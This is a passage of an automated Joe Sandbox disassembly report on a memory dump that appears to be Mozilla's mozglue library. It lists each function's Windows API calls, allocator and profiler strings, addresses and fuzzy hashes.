GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6057FF

Strings

EnableNonClientDpiScaling, xrefs: 6C605666
RegisterClassW, xrefs: 6C6056AC
GetWindowDC, xrefs: 6C605710
StretchDIBits, xrefs: 6C6057CC
CreateWindowExW, xrefs: 6C6056C5
SetWindowPos, xrefs: 6C6056F7
AreDpiAwarenessContextsEqual, xrefs: 6C605637
FillRect, xrefs: 6C605729
LoadCursorW, xrefs: 6C605774
SetWindowLongPtrW, xrefs: 6C6057B7
LoadIconW, xrefs: 6C60575B
gdi32, xrefs: 6C60560A
GetMonitorInfoW, xrefs: 6C6057A2
ReleaseDC, xrefs: 6C605742
MonitorFromWindow, xrefs: 6C60578D
GetThreadDpiAwarenessContext, xrefs: 6C60562D
DeleteObject, xrefs: 6C6057F9
user32, xrefs: 6C605601
CreateSolidBrush, xrefs: 6C6057E4
GetDpiForWindow, xrefs: 6C605690
ShowWindow, xrefs: 6C6056DE
GetSystemMetricsForDpi, xrefs: 6C605677

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction ID: e1c1dbc385d333ab9905a20563842b1352d83a7447740f029dd45e8d96408e9b
Opcode Fuzzy Hash: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction Fuzzy Hash: 7F512F707153239BDB049F368E9492A3AFCFF46385B144425AD62F2A55EB7CC8018F6D

Function 6C6034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EE2

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6061DD
Part of subcall function 6C606180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C60622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604157

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C606250
Part of subcall function 6C606180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C60484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604896
free.MOZGLUE ref: 6C60489F

Strings

, xrefs: 6C604CD2

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction ID: 514d5fe999441bd1159f5f7daad6de1aa1c71b464e0b6611e837ccad0285a7c9
Opcode Fuzzy Hash: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction Fuzzy Hash: 1DF24C74908780CFC735CF29C18469AFBF1BF9A304F118A5ED989A7711DB719886CB46

Function 6C5EF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5EF155
GetCurrentThreadId.KERNEL32 ref: 6C5EF1E0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF1ED
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF212
GetCurrentThreadId.KERNEL32 ref: 6C5EF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF248
GetCurrentThreadId.KERNEL32 ref: 6C5EF2AE
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2BB
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2F8

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF350
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF35D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF381
GetCurrentThreadId.KERNEL32 ref: 6C5EF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF3A0
GetCurrentThreadId.KERNEL32 ref: 6C5EF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF491

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF3CF

Part of subcall function 6C5EF070: GetCurrentThreadId.KERNEL32 ref: 6C5EF440
Part of subcall function 6C5EF070: AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF44D
Part of subcall function 6C5EF070: ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF4A8
GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561
GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C5EF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction ID: 2b42dbcddee667c7de4eb933c4d2a3b15098744940708d25c611d259559f1f8a
Opcode Fuzzy Hash: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction Fuzzy Hash: 72D11871704314CFDB009F6AD884799B7B8EF8A368F10462AE95583B81DB785805CBAF

Function 6C5B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B671C
GetCurrentProcess.KERNEL32 ref: 6C5B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B672F
GetCurrentProcess.KERNEL32 ref: 6C5B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5B6A80
GetSystemInfo.KERNEL32(?), ref: 6C5B6ABE
__Init_thread_footer.LIBCMT ref: 6C5B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AF7

Strings

user32.dll, xrefs: 6C5B6526
detoured.dll, xrefs: 6C5B64DA
nvdxgiwrap.dll, xrefs: 6C5B6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5B6798
_etoured.dll, xrefs: 6C5B64ED
nvd3d9wrap.dll, xrefs: 6C5B6500

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction ID: 3dcb60dd157ef0e3dbc2a2d1f6c18e361f17a726a44e9985278faabe34b19c1f
Opcode Fuzzy Hash: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction Fuzzy Hash: B2F10370901319DFDB24CF25CD98B9ABBB4EF46308F1442A9D809B3681DB31AE85CF95

Function 6C5CD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5CD904
LeaveCriticalSection.KERNEL32(?), ref: 6C5CD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5CD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5CE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE315
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE37C
GetSystemInfo.KERNEL32(?), ref: 6C5CE3C7
__Init_thread_footer.LIBCMT ref: 6C5CE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5CE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5CE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5CE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5CE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5CE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E768,00001388), ref: 6C5CE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5CE52E
ReleaseSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE54F

Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(?), ref: 6C5BD999
Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BDA13

Strings

MOZ_CRASH(), xrefs: 6C5CE62B
MALLOC_OPTIONS, xrefs: 6C5CE3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5CE6DD
Compile-time page size does not divide the runtime one., xrefs: 6C5CE621
<jemalloc>, xrefs: 6C5CE61C, 6C5CE6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CE560, 6C5CE58A, 6C5CE5A5

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction ID: f7702a4bc3e401984d7a66c59003df251c6b88db913acd82e4e2aca08cf786b8
Opcode Fuzzy Hash: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction Fuzzy Hash: 9D92A9B1B056018BD714CF69C881715BBE1FF86328F29866DE869CB791D375E841CBC2

Function 6C60C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C60C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E472

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c7d1c6d4816fe76778441dcd124f1e2505c097f0f07b9a79c0e974577a1b578
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8F33CD71E0021A8FCB08CFA8C9806EDBBF2FF49314F288269D955BB755D730A945CB94

Function 6C5CED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5CEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5CEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5D1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5D1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D1A3E

Strings

~qZl, xrefs: 6C5CED10
~qZl, xrefs: 6C5CED13

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qZl$~qZl
API String ID: 3693777188-2831360158
Opcode ID: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction ID: cea532c1ebe75ec635563a2b362f4b4f0176a330ab7091d48d541b744f5a5c13
Opcode Fuzzy Hash: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction Fuzzy Hash: E8B31871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB745D730AD86CF94

Function 6C5BFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5C0D67, 6C5C0D7B, 6C5C0DAC
<jemalloc>, xrefs: 6C5C0D62, 6C5C0D76, 6C5C0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction ID: bd5e4adfcc1269b3fa71f80519889a20ebebb11ddeefda2e8d7b17063dc2815e
Opcode Fuzzy Hash: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction Fuzzy Hash: 32C2AB71B057418FD714CF69C880716BBE1AFC5328F28CA6DE4AA8B795D775E801CB82

Function 6C60E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C60E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C60F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C610E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C610E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C610EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C610ED4

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction ID: c6eabfe3f412d1d2eaf72fe6ce72a59487ac4f0c926c20f57711cde906a31c0d
Opcode Fuzzy Hash: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction Fuzzy Hash: C4639D71E0425A8FCB08CFACC9905DDF7B2FF89314F298229D855AB745D730A946CB94

Function 6C5E3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C607770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>^l,?,?,?,6C5E3E7D,?,?), ref: 6C60777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5E3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E3F5C
VerSetConditionMask.NTDLL ref: 6C5E3F8D
VerSetConditionMask.NTDLL ref: 6C5E3F99
VerSetConditionMask.NTDLL ref: 6C5E3FA0
VerSetConditionMask.NTDLL ref: 6C5E3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E3FB4

Strings

nvinit.dll, xrefs: 6C5E4479
C>^l, xrefs: 6C5E3E93
nvd3d9wrap.dll, xrefs: 6C5E4466

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
